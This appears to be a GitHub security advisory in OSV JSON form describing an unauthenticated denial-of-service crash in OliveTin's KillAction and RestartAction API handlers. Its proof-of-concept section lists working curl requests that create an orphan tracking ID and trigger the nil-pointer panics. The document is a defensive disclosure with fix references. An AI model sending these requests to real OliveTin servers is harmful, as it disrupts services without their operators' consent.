GHSA-fwhj-785h-43hh: Github.com/OliveTin/OliveTin OliveTin Has Crash On NPE Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fwhj-785h-43hh",
  "modified" : "2026-03-05T20:54:25Z",
  "published" : "2026-03-05T20:54:25Z",
  "aliases" : [ ],
  "summary" : "OliveTin has crash on NPE by calling APIs with invalid bindings or log references",
  "details" : "### Summary\nAn unauthenticated attacker can trigger server-side panics by first creating an execution log entry with a nil binding via `StartActionByGet` (invalid action ID), then calling `KillAction` or `RestartAction` on that tracking ID. This causes a nil-pointer dereference in API handlers and results in repeated per-request panics (`Empty reply from server`), enabling denial of service through panic/log/CPU amplification.\n\n### Details\nThe issue is caused by this flow:\n\n  1. `StartActionByGet` accepts arbitrary `actionId` and still calls executor:\n     - `service/internal/api/api.go:239`\n\n  2. Executor stores a log entry before binding validation:\n     - `service/internal/executor/executor.go:519`\n\n  3. If binding is nil, execution stops, but the log entry remains:\n     - `service/internal/executor/executor.go:781`\n\n  4. `KillAction` dereferences `execReqLogEntry.Binding.Action` without checking `Binding`:\n     - `service/internal/api/api.go:79`\n\n  5. `RestartAction` has the same unsafe dereference:\n     - `service/internal/api/api.go:1285`\n\nBecause the dereference happens before authorization checks in these handlers, this is reachable unauthenticated.\n\n\n### PoC\n  Environment:\n  - OliveTin default single frontend on `http://localhost:1337`\n  - Reproduced on `main` (commit `235493e`) and tag `3000.11.0`\n\n  1) Create orphan tracking ID with invalid action:\n  ```bash\n  T=$(curl -s -X POST http://localhost:1337/api/StartActionByGet \\\n    -H 'Content-Type: application/json' \\\n    --data '{\"actionId\":\"does-not-exist\"}' \\\n    | sed -n 's/.*\"executionTrackingId\":\"\\([^\"]*\\)\".*/\\1/p')\n  echo \"$T\"\n\n  2. Trigger panic in RestartAction:\n\n  curl -v -X POST http://localhost:1337/api/RestartAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\n  3. Trigger panic in KillAction:\n\n  curl -v -X POST http://localhost:1337/api/KillAction \\\n    -H 'Content-Type: application/json' \\\n    --data \"{\\\"executionTrackingId\\\":\\\"$T\\\"}\"\n\nObserved client output:\n\n  - curl: (52) Empty reply from server\n\nObserved server log:\n\n  - panic serving ... runtime error: invalid memory address or nil pointer dereference\n  - stack points to:\n      - service/internal/api/api.go:79 (KillAction)\n      - service/internal/api/api.go:1285 (RestartAction)\n\n```\n### Impact\n\nThis is an unauthenticated denial-of-service vulnerability (panic-based request disruption and log/CPU amplification). An attacker can repeatedly trigger panics remotely without credentials, degrading service reliability and observability.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/OliveTin/OliveTin"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260304225158-bb14c5da3e64"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-fwhj-785h-43hh"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/commit/bb14c5da3e64b03f207c7f38139eb60e97c278fc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/OliveTin/OliveTin"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-476" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T20:54:25Z",
    "nvd_published_at" : null
  }
}